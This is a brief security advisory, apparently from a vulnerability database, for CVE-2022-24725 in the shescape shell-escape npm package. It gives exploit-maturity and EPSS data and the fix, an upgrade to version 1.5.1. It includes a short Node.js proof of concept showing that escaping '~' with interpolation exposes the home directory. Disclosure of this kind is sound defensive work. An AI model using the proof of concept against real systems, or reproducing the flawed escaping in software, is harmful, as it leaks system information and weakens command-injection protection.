Information Exposure Affecting shescape package, versions >=1.4.0 <1.5.1
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.14% (52nd
percentile)
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- published 4 Mar 2022
- disclosed 3 Mar 2022
- credit Unknown
Introduced: 3 Mar 2022
CVE-2022-24725 Open this link in a new tabHow to fix?
Upgrade shescape to version 1.5.1 or higher.
Overview
shescape is a simple shell escape library
Affected versions of this package are vulnerable to Information Exposure due to possible exposure of the home directory.
PoC
const cp = require("child_process");
const shescape = require("shescape");
const payload = "home_directory=~";
const options = { interpolation: true };
console.log(cp.execSync(`echo ${shescape.escape(payload, options)}`));
// home_directory=/home/user
References
CVSS Scores
version 3.1